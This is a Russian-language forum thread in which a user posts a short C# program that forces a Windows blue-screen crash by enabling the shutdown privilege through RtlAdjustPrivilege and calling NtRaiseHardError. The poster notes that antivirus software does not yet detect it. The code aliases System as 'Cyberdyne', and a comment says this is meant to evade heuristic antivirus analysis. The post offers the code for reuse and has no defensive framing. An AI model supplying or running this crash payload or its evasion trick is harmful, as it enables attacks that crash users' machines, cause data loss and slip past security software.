Загрузка...

BSOD Invoker Function (BSOD Call) on sharps

Thread in C# created by DartPower Dec 18, 2020. 295 views

  1. DartPower
    DartPower Topic starter Dec 18, 2020 1 Aug 1, 2018
    Может быть кому пригодится... Не помню где брал код, ибо сама функция и идея не нова %))
    Но в данном случае пока что не палится антивирусным ПО (делал через .NET Framework 3.5 без обфускации, был протестирован тестером, у него АВ не спалил)

    Code

    // Вероятно поддавляет эвристический анализатор антивируса...
    // Cyberdyne можете заменить на что-то ещё.
    using Cyberdyne=System;

    // Сам код в общем-то
    namespace SkyNet
    {
    class GoodbyeHuman
    {
    [Cyberdyne.Runtime.InteropServices.DllImport("ntdll.dll")]
    public static extern uint RtlAdjustPrivilege(int Privilege,bool bEnablePrivilege,bool IsThreadPrivilege,out bool PreviousValue);

    [Cyberdyne.Runtime.InteropServices.DllImport("ntdll.dll")]
    public static extern uint NtRaiseHardError(uint ErrorStatus,uint NumberOfParameters,uint UnicodeStringParameterMask,Cyberdyne.IntPtr Parameters,uint ValidResponseOption,out uint Response);

    [Cyberdyne.STAThread]
    static unsafe void Main(string[]args)
    {
    Cyberdyne.Runtime.InteropServices.Marshal.PrelinkAll(typeof(GoodbyeHuman));
    Cyberdyne.Boolean t1;
    uint t2;
    RtlAdjustPrivilege(19,true,false,out t1);
    NtRaiseHardError(0xc0000022,0,0,Cyberdyne.IntPtr.Zero,6,out t2);
    }
    }
    }
     
  2. temnij52
    temnij52 Feb 7, 2021 C# OneLove 46 Apr 14, 2020
Top
Loading...